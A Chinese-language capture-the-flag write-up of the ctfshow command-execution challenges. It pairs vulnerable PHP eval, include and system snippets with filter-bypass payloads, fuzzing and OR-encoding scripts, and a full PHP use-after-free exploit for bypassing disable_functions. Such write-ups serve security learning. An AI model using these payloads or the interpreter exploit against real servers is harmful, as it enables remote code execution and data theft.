CTFSHOW 命令执行
web29
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
payload:
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
web30
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
同29,payload:
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
web31
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
payload:
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
web32
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
payload:
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
web33
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
payload:
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
web34
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
payload:
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
web35
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
payload:
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
web36
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
这里过滤了数字,改用a代替1
payload:
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
web37
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
payload:
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
web38
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
payload:
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
web39
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
这里有个知识点,就是data://text/plain,
这里已经是执行了php语句,所以.php会被当做html执行。
payload:
?c=data://text/plain,<?php system('cat fla*');?>
web40
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
payload:
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
web41
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>
过滤按位与 & 、按位异或 ^ 、取反 ~
但是没有过滤四大位运算符中的 |,所以构造字符串
exp:
import re
import requests
url = "http://a89110a1-25ac-4f09-8d88-7a2e3946e948.challenge.ctf.show/"
a = []
ans1 = ""
ans2 = ""
for i in range(0, 256):
c = chr(i)
tmp = re.match(r'[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-', c, re.I)
if (tmp):
continue
# print(tmp.group(0))
else:
a.append(i)
# eval("echo($c);");
mya = "system" # 函数名 这里修改!
myb = "cat flag.php" # 参数
def myfun(k, my):
global ans1
global ans2
for i in range(0, len(a)):
for j in range(i, len(a)):
if (a[i] | a[j] == ord(my[k])):
ans1 += chr(a[i])
ans2 += chr(a[j])
return;
for k in range(0, len(mya)):
myfun(k, mya)
data1 = "(\"" + ans1 + "\"|\"" + ans2 + "\")"
ans1 = ""
ans2 = ""
for k in range(0, len(myb)):
myfun(k, myb)
data2 = "(\"" + ans1 + "\"|\"" + ans2 + "\")"
data = {"c": data1 + data2}
r = requests.post(url=url, data=data)
print(r.text)
web42
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
>/dev/null 2>&1
就是不进行回显的意思,就用;或者%0a分割就行
payload:
?c=cat flag.php;
web43
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
过滤了;和cat,用tac和%0a或||即可
或者用&&也可以,但是记得编码
payload:
?c=tac flag.php%0a
web44
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
payload:
?c=tac fla*%0a
web45
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
过滤了空格,使用%09绕过
payload:
?c=tac%09fl*||
web46
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
过滤了数字,通配符*,这里可以改用?
payload:
?c=tac%09fla?.php|| 这里虽然有数字,但是它解码后是水平制表符。
web47
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
payload:
?c=tac%09fla?.php||
web48
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
payload:
?c=tac%09fla?.php||
web49
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
payload:
?c=tac%09fla??php|| 这里虽然是%,但是解码后就不是了
web50
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
这里的09过滤,改用不需要空格的nl命令
payload:
?c=nl<fla''g.php|| 这里不用通配符的原因是nl不支持通配符,''中间会自动忽略
web51
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
payload:
?c=nl<fla''g.php||
web52
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
这里过滤了><,但是你放开了$,有个坑点就是这里的flag在根目录下的
payload:
?c=nl$IFS/fla''g||
或者可以把他复制一份也可以:
?c=cp${IFS}/fla?${IFS}/var/www/html/b.txt||
web53
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}else{
echo 'no';
}
}else{
highlight_file(__FILE__);
}
payload:
?c=ca''t${IFS}fla?.php 这里''会被浏览器自动识别出去
web54
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
使用重命名的方法
?c=mv${IFS}fla?.php${IFS}m.txt
接着访问一下m.txt就行
web55
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
无字母rce
通过post一个文件(文件里面的sh命令),在上传的过程中,通过.(点)去执行执行这个文件。(形成了条件竞争)。一般来说这个文件在linux下面保存在/tmp/php??????一般后面的6个字符是随机生成的有大小写。(可以通过linux的匹配符去匹配)
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://85a46c09-45f8-4d98-a395-2fe79e413745.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
web56
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
无字母数字rce,同上一题
web57
// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}
flag在36.php,所有只要构造出36就行
在shell中进行数学计算--> $((${}))=0, $((~$((${}))))=-1
payload:
?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))))))
web58
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
函数禁用,用phpinfo()但被禁用,所有不知道禁用的是什么,试了system,shell_exec都被禁了,但是file_get_contents读取文件没被禁用
payload:
c=echo file_get_contents('flag.php');
web59
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
file_get_contents也被禁用了,但是show_source没有禁用
payload:
c=echo show_source('flag.php'); 也可以用include进行文件包含上传一句话
web60
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
同理
payload:
c=echo show_source('flag.php'); 也可以用include进行文件包含上传一句话
web61
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
其实这里 highlight_file
一直没被禁用,所以应该可以通杀
payload:
c=highlight_file('flag.php');
web62
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
payload:
c=highlight_file('flag.php');
web63
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
payload:
c=highlight_file('flag.php');
web64
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
payload:
c=include('flag.php');var_dump(get_defined_vars()); // 和之前那种类似,包含flag.php,就把flag变量注册进去
web65
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
payload:
c=highlight_file('flag.php');
web66
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
flag文件变位置了,可以看一下目录
payload:
c=var_dump(scandir('/'));
c=highlight_file('/flag.txt');
web67
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
同上
payload:
c=highlight_file('/flag.txt');
web68
这里的highlight_file直接禁用了,所以连源码都没有。
可以include包含
c=include('/flag.txt'); 因为这里flag没有php标签的,所以直接当初html页面输出。
web69
同上
web70
同上
web71
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
这里执行完后会把内容放在缓存区,然后将0-9,a-z用 ?代替,试试不执行缓冲区的内容,直接exit退出。
payload:
c=include('/flag.txt');exit();
web72
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
与上一题差异就在于开启open_basedir,可将用户访问文件的活动范围限制在指定的区域,通常是根目录的路径。
可以使用glob伪协议绕过,glob伪协议筛选目录不受open_basedir的制约。
绕过open_basedir,读取根目录
需要url编码
c=?><?php
$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);
?>
读取到flag文件:flag0.txt
使用脚本(国外开源脚本,具体原理可以百度):
<?php
function ctfshow($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace();
if(!isset($backtrace[1]['args'])) {
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf("%c",($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c",($v & 0xff));
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) {
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) {
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) {
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) {
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function trigger_uaf($arg) {
$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
write($abc, 0x60, 2);
write($abc, 0x70, 6);
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4);
write($abc, 0xd0 + 0x68, $zif_system);
($helper->b)($cmd);
exit();
}
ctfshow("cat /flag0.txt");ob_end_flush();
?>
web73
查看根目录下的文件
c=?><?php
$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);
?>
flag文件:flagc.txt
payload:
c=include('/flagc.txt');exit();
web74
同上,只不过flag文件变为了flagx.txt
payload:
c=include('/flagx.txt');exit();
web75
先查找flag文件
c=?><?php
$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);
?>
查到flag36.txt
因为open_basedir限制了访问路径,采用mysql的load_file读取文件
payload:
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);
web76
同上
web77
mysql不给用了,看题解用FFI。
FFI(Foreign Function Interface),即外部函数接口,是指在一种语言里调用另一种语言代码的技术。
FFI,php7.4以上才有
先查看flag文件:readflag
payload:
c=$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';//没有回显的
$ffi->system($a);//通过$ffi去调用system函数
然后查看1.txt即可
web118
查看源码:
<!-- system($code);-->
还是命令执行,但是不知道过滤了啥
简单fuzz:
import requests
import string
url = "http://4a4fe3a1-0bc3-4b3c-aec2-d930cccf1bf2.challenge.ctf.show/"
list = string.ascii_letters + string.digits + "$+-}{_><:?*.~/\\ "
white_list = ""
for payload in list:
data = {
"code": payload
}
res = requests.post(url, data=data)
if "evil input" not in res.text:
print(payload)
white_list += payload
print(white_list.replace(" ", "空格"))
没过滤大写字母和:{},那就用环境变量拼接
payload:
${PATH:~A}${PWD:~A}${IFS}????.??? 相当于nl flag.php
web119
同上,只不过PATH被过滤了
可以构造cat命令 -> /bin/cat == cat
${HOME:${#HOSTNAME}:${#SHLVL}} ====> t
${PWD:${Z}:${#SHLVL}} ====> /
/bin/cat flag.php
${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???
web120
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){
if(strlen($code)>65){
echo '<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo '<div align="center">'.system($code).'</div>';
}
}
else{
echo '<div align="center">evil input</div>';
}
}
?>
同上一题
使用base64 flag.php
payload:
${PWD::{#SHEVL}}???${PWD::{#SHEVL}}?????${#RANDOM} ????.??? 相当于:/bin/base64 flag.php RANDOM 会随机返回4位数或5位数,#就是取长度,也就是4或5,所以要多试试几次
web121
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){
if(strlen($code)>65){
echo '<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo '<div align="center">'.system($code).'</div>';
}
}
else{
echo '<div align="center">evil input</div>';
}
}
SHLVL 被禁了,所以${##}代替 -> 1
payload:
${PWD::${##}}???${PWD::${##}}?????${#RANDOM} ????.???
web122
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|PWD|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|#|%|\>|\'|\"|\`|\||\,/', $code)){
if(strlen($code)>65){
echo '<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo '<div align="center">'.system($code).'</div>';
}
}
else{
echo '<div align="center">evil input</div>';
}
}
?>
#
被过滤,改用$?
通过$?来实现的,$?是表示上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误
payload:
<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???
web124
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}
命令执行,不能使用: $blacklist = [' ', '\t', '\r', '\n','\'', '"', '
', '[', ']'];, 而且必须是
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];`
这种情况下,都是要想到拼接字符串的
题解利用进制转换以数字构造字母
$_GETabs //strlen($content) >= 80,有长度限制,所以利用get命令执行
↓
$_GET{abs}($_GET{acos}) //[]在黑名单,用{}代替
↓
$pi=_GET;$$pi{abs}($$pi{acos})
使用hex2bin,dechex函数进行转换
hex2bin(dechex(1598506324)) --> _GET
但是hex2bin没在白名单中,所以用base_convert
base_convert('hex2bin',36,10) -> 37907361743
所以 hex2bin(dechex(1598506324)) == base_convert('37907361743',10,36)(dechex(1598506324))
payload:
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos})&abs=system&acos=cat flag.php
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